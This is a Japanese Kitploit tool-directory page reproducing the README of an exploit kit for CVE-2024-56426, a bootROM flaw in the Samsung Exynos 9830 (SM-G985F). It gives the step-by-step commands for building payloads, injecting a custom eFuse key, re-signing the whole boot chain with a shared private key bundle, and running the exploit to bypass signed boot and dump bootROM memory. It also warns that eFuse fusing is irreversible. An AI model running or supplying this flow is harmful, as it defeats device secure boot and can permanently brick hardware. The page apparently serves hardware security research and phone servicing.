Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-56426 — Exynos 9830 bootROM向けエクスプロイトキット。Samsung SM-G985Fデバイス向けに、署名付きブートバイパス、カスタムキー注入、メモリダンプペイロードを提供します。 | Kitploit
ツール/GitHubGitHub/xcracker000/cve-2024-56426
Androidセキュリティ組み込みシステムセキュリティエクスプロイトリバースエンジニアリングハードウェアハッキングモバイルセキュリティハードウェアセキュリティペイロード開発ファームウェア解析バイナリエクスプロイト
GitHubxcracker000/cve-2024-56426

CVE-2024-56426

16日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Exynos 9830 bootROM向けエクスプロイトキット。Samsung SM-G985Fデバイス向けに、署名付きブートバイパス、カスタムキー注入、メモリダンプペイロードを提供します。

リポジトリを見る

SM-G985F / Exynos9830 ブートROMエクスプロイト

[!CAUTION] 現在のキーバンドルと生成されたファイルはヒュージング対応です。デバイスが一度ヒューズされると、eFuseの変更は不可逆であり、デバイスはヒューズされたキーに一致するブートイメージとキーマテリアルを引き続き使用する必要があります。ヒュージング動作により、これらのファイルまたはフローを使用する場合は自己責任となります。実行するユーザーがすべての結果に対する責任を負います。ヒュージングフローを実行する前に、eFuseファイル、秘密鍵、署名済みFWBL1、LK / sboot.bin イメージ、および対象デバイスを確認してください。

目次

  • リポジトリ構成
  • 要件
  • イメージ準備
  • ペイロードのビルド
  • 署名付きSBootイメージの生成
  • エクスプロイトモード
  • Exynos 9830 ブートチェーン
  • Exynos 9830 イメージレイアウト
  • ロードアドレス
  • ブートソースID
  • /mem ダンプペイロード
  • アップストリームの帰属
  • クレジット

リポジトリ構成

PathPurpose
bootLoaderFiles/ブートローダーバイナリ、分割されたブートローダーパーツ、オリジナルイメージ、復号化されたイメージ、およびダンプ成果物。
bootromNotes/ブートROMのノート、フローチャート、USBコンテキストオフセット。
exploit/Pythonツール、エクスプロイトランナー、分割/結合スクリプト、ペイロードビルドヘルパー、SoCデータ。
exploit/extra/images/エクスプロイトフローで使用される動作するブートローダーイメージ。
exploit/extra/payloads/external/payloads/ からコピーされたビルド済みペイロードバイナリ。
external/ペイロードソース、ビルドMakefile、逆コンパイルノート、共有キーマテリアル、ヘルパーツール。
external/keys/exynos9830_crecker/署名付きローダーフローで使用される共有Exynos9830 / Exynos990カスタムキーバンドル。
exynos990reverseEng/Exynos 990リバースエンジニアリングプロジェクトファイル。

要件

Linuxツールチェーン

root@kitploit:~
sudo apt-get update
sudo apt-get install -y gcc-aarch64-linux-gnu binutils-aarch64-linux-gnu

macOSツールチェーン

root@kitploit:~
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

Python依存関係

root@kitploit:~
python3 -m pip install -r requirements.txt

requirements.txt には、coloredlogs、cryptography、hexdump、libusb、pyusb、pycryptodome が含まれます。

Windows USBドライバー

Windowsでは、PyUSBがBootROM USBデバイス 04e8:1234 を開く前に、WinUSB/libusb互換ドライバーを使用する必要があります。exploit/windows/README.md を参照してください。

リポジトリには、exploit/windows/Exynos_USB_Device.inf にWinUSBドライバーパッケージが含まれており、対応するカタログと証明書インポートファイルも同じディレクトリにあります。

イメージ準備

sboot.bin の分割

root@kitploit:~
python3 exploit/split.py bootLoaderFiles/originalSboot_K/sboot.bin -o exploit/extra/images

分割スクリプトは、イメージパーツと split_manifest.json ファイルを出力ディレクトリに書き込みます。

LKカスタムキーのパッチ

LKイメージは、カスタムキーフロー用にROMセキュアブートキー2のコマンドIDを使用する必要があります:

Ghidraプロジェクト内でLKパッチTSVを適用する際、ヘルパーは次のようにGhidraヘッドレス経由で呼び出されました:

root@kitploit:~
GHIDRA=/path/to/ghidra_12.0.4_PUBLIC
REPO=$(pwd)
"$GHIDRA/support/analyzeHeadless" "$REPO/exynos990reverseEng" exynos990 \
  -process lk.bin \
  -noanalysis \
  -scriptPath "$REPO/external/ghidra" \
  -postScript ApplyLkPatches.java "$REPO/external/ghidra/lk_985_selected_patches.tsv"

ストックキーを置き換えて、32バイトのeFuseキーをオフセット 0x205008 の lk.bin に埋め込みます:

root@kitploit:~
dd if=external/keys/exynos9830_crecker/crecker.efuse of=exploit/extra/images/lk.bin bs=1 seek=$((0x205008)) count=32 conv=notrunc
xxd -g1 -s $((0x205008)) -l 32 exploit/extra/images/lk.bin

分割パーツの結合

root@kitploit:~
python3 exploit/merge.py exploit/extra/images Exynos9830

結合スクリプトは、現在の作業ディレクトリに sboot.bin を書き込みます。

ペイロードのビルド

external/payloads/ 配下のペイロードプロジェクトをビルドし、生成されたバイナリを exploit/extra/payloads/ にコピーします:

root@kitploit:~
./exploit/build_payloads.sh

UFSローダーとカスタムキーペイロードは、ビルド時に32バイトのefuseファイルを埋め込みます。デフォルトでは、Makefileは external/keys/exynos9830_crecker/crecker.efuse を読み取ります。必要な場合は、CUSTOM_KEY_EFUSE=/path/to/crecker.efuse でこれを上書きします。

署名付きSBootイメージの生成

exploit/exploit.py によって実行されるプリフライトステップは、各署名付き実行の前に exploit/extra/images/ 内のSBootイメージセットをその場で再署名します。別個の署名済み出力は保持されません。署名ステップでは、external/keys/exynos9830_crecker/ の下にある意図的に追跡された共有キーバンドルを使用します。

完全なイメージセットに対するリポジトリルート相当のコマンド:

root@kitploit:~
python3 external/tools/sign_sboot_images.py \
  --images-dir exploit/extra/images \
  --keys-dir external/keys/exynos9830_crecker

これは次のイメージに署名します:

バッチ署名ツールは、すべてのイメージに10進数の 23 を渡し、既存のフッターにすでに存在する古いロールバック値を再利用しません。

epbl.img は、必要に応じて最初に再暗号化され、その後、最終バイトに対して署名されます。ldfw.img と tzsw.img のAVBコンテンツを更新する場合は、外部AVBフローが依然として必要です。

FWBL1のみのコマンド:

root@kitploit:~
python3 external/tools/sign_tool.py \
  -i exploit/extra/images/fwbl1.img \
  -o exploit/extra/images/fwbl1.img \
  -k external/keys/exynos9830_crecker/crecker_private.pem \
  -H external/keys/exynos9830_crecker/crecker.hmac \
  -s 0x3000 \
  -r 23 \
  -ma 0x9830 \
  -m 0x142 \
  -e 11 \
  -t external/keys/exynos9830_crecker/crecker_stage2_tee_pubkey.bin \
  -re external/keys/exynos9830_crecker/crecker_stage2_ree_pubkey.bin

sign_tool.py、fwbl1.img、および crecker_* ファイルが現在のディレクトリにある場合の短縮形:

root@kitploit:~
python3 sign_tool.py -i fwbl1.img -o fwbl1.img -k crecker_private.pem -H crecker.hmac -s 0x3000 -r 23 -ma 0x9830 -m 0x142 -e 11 -t crecker_stage2_tee_pubkey.bin -re crecker_stage2_ree_pubkey.bin

エクスプロイトモード

特に記載がない限り、リポジトリルートからコマンドを実行します。

デバイスフローの注意事項

Exynos 9830 ブートチェーン

観測されたExynos 9830のブート手順は次のとおりです:

Exynos 9830 イメージレイアウト

ロードアドレス

ブートソースID

生のブートソースID

ブートソース値

/mem ダンプペイロード

注:mem.bin ダンプペイロードは、動作する sboot がインストールされていない場合にのみ使用できます。

  1. Heimdallを介して uh.bin をブートローダーに送信します:

    root@kitploit:~
    heimdall flash --BOOTLOADER uh.bin
    
  2. ダンプフローを実行します:

    root@kitploit:~
    python3 exploit/exploit.py --dump
    
  3. 生成された exynos990.bootrom.bin ダンプを確認します。

アップストリームの帰属

このリポジトリのPythonリカバリツールの一部は、halal-beef/hubble から改作されました。

そのアップストリームプロジェクトはGNU GPL v2.0のもとで公開されており、このリポジトリは互換性のためにGPL-2.0ライセンスを維持しています。LICENSE と NOTICE.md を参照してください。

external/payloads/exynos990_boot_custom_key/ 配下のExynos990カスタムキーペイロードは、frederic/exynos-usbdl のフォークである VDavid003/exynos-usbdl のブートカスタムキーペイロードスケルトンと制御フローのアイデアに基づいています。これはExynos9830 / Exynos990 GET_CONFIGURATIONチェーン用に大幅に書き直され、適合されており、アップストリームのペイロードの逐語的なコピーではありません。参照されているアップストリームプロジェクトはGNU GPL v3.0でライセンスされているため、このペイロードはGPL-3.0-onlyで維持されています。external/payloads/exynos990_boot_custom_key/LICENSE を参照してください。

クレジット

ツールをダウンロード
キー1コマンド値キー2コマンド値
CMD_W_ROM_SEC_BOOT_KEY10x001CMD_W_ROM_SEC_BOOT_KEY20x016
CMD_W_USE_ROM_SEC_BOOT_KEY10x002CMD_W_USE_ROM_SEC_BOOT_KEY20x017
CMD_C_ROM_SEC_BOOT_KEY10x100CMD_C_ROM_SEC_BOOT_KEY20x114
CMD_R_USE_ROM_SEC_BOOT_KEY10x101CMD_R_USE_ROM_SEC_BOOT_KEY20x115
ペイロード出力パス目的
mem.binexploit/extra/payloads/mem.binブートROMメモリダンプペイロード。
loader.binexploit/extra/payloads/loader.bin--ufs で使用されるUFSパスペイロード。
Exynos990_boot_custom_key.binexploit/extra/payloads/Exynos990_boot_custom_key.bin--signed で使用されるカスタムキー署名付きローダーペイロード。
イメージ使用されるキーマテリアルロールバックリビジョン
fwbl1.imgBL1秘密鍵 + Stage2 TEE/REE公開鍵23
epbl.imgStage2 TEE秘密鍵23
bl2.imgStage2 REE秘密鍵23
lk.binStage2 REE秘密鍵23
el3_mon.imgStage2 TEE秘密鍵23
ldfw.imgStage2 TEE秘密鍵、内側+外側23
tzsw.imgStage2 TEE秘密鍵、内側+外側23
コマンドモードデフォルトペイロード備考
python3 exploit/exploit.py --ufsUFSパスloader.binUFSペイロードフローを開始します。
python3 exploit/exploit.py --signed署名付きブートチェーンExynos990_boot_custom_key.binSBootイメージセットを再署名し、イメージを送信します。
python3 exploit/exploit.py --dumpブートROMダンプmem.bin0x20000 バイトを exynos990.bootrom.bin に受信します。
ステップ備考
1ダウンロードモードに入ります。
2必要に応じて exploit/merge.py で sboot.bin を作成または更新します。
3署名付きカスタムキーフローを使用して、対象イメージフローを受け入れるODINスタイルのモードであるCreckerモードに到達します。
4ODIN、Heimdall、または別の互換性のある送信プログラムで新しい sboot.bin を送信します。
5UFSペイロードを実行します。
6任意:One UI 7およびStrong Integrityワークフロー用にCreckerRomをインストールします。
7任意:ターゲットセットアップの完了後にブートローダーをロックします。
ステップステージ備考
1BootROM初期ROM実行。
2BL1BootROMからの完全なハンドオフ。
3EPBLBL1からの完全なハンドオフ。
4EPBL最小限のSMCハンドラーをセットアップします。
5BL2EPBLがBL2をロードします。
6BL2BL2への部分的なハンドオフ。
7LKBL2はEPBLを使用してLKをロードしますが、LKはすぐには実行されません。
8EL3 MonitorBL2はEPBLを使用してEL3 Monitorをロードします。
9EL3 MonitorEPBLがEL3 Monitorを復号化します。
10EL3 MonitorEL3 Monitorへの完全なハンドオフ。
11EL3 Monitor拡張SMCハンドラーを初期化およびセットアップします。
12LK実行がLKにジャンプします。
13LK / EL3 MonitorLKはEL3 MonitorのSMCハンドラーを呼び出してTrustZoneパーツをロードします。
14ODIN / カスタムターゲットブートはODINまたは設定されたターゲットに続行します。
パーツ開始終了
fwbl1.img0x00x3000
epbl.img0x30000x16000
bl2.img0x160000x82000
lk.bin0xDB0000x35B000
el3_mon.img0x35B0000x39B000
ステージロードアドレス
BL10x02022000
EPBL0x02026000
BL20x15600000
LK0xE8000000
EL3_MONITOR0xBFE80000
_boot_device ソースIDブートソースパス
1UFSパス、共有UFSロードフロー。
2eMMC/SDMMC初期化パス、mmc_card_detect_and_init フロー。
3SDMMC/MMCデバイス0、mmc_read_blocks(0, ...)。
4USBロードパス。
5SDMMC/MMCデバイス1、mmc_read_blocks(1, ...)。
6UFS代替モード、異なるモードフラグを持つ 1 と同じコアUFSフロー。
7非MMC/UFS/USB生コントローラー読み取りパス。
0xB / 11USBフォールバックパス、その後は 4 と同じUSBハンドラー。
ソースID値意味
10x20UFS
20x14eMMC
30x00SDMMC_CH2
4 / 0xB0x40USB
クレジット貢献
Chimera Tool2021-2022年頃のエクスプロイトの最初の発見。Chimeraは、このエクスプロイトに基づく機能を含む、多くのデバイスにわたる高度なExynosサービス機能を提供します。
CVE-2024-56426このプロジェクトの基盤となるCVE。
Christopher WadeCVE-2024-56426をSamsungに報告しました。
kethily-danielUSBパケットトレースとサンプル抽出に使用されるツールへのアクセスを提供しました。
BotchedRPRcarte2の初期研究と作成を支援しました。
VDavid003パケットダンプによるPoCのリバースエンジニアリングを支援し、デバイスで個人的にテストしました。
halal-beef / hubble研究ライフサイクル中のPoCの初期USBパケットダンプと分析、エクスプロイトスクリプトが使用するバックエンドコード、分割/結合スクリプトが使用するSoCレイアウトを提供しました。
VDavid003 / exynos-usbdlExynos990カスタムキーペイロードの基礎として使用されるGPLv3カスタムキーペイロードスケルトンとExynos USBダウンロード参照フローを提供しました。
R0rt1z2ペイロード作成を支援しました。一部の作業は彼のプロジェクトkaeruに基づいています。
AntiEngineerARM知識、ヒント、研究サポートを共有しました。
AA脆弱性の着想とChimera外部での最初の使用。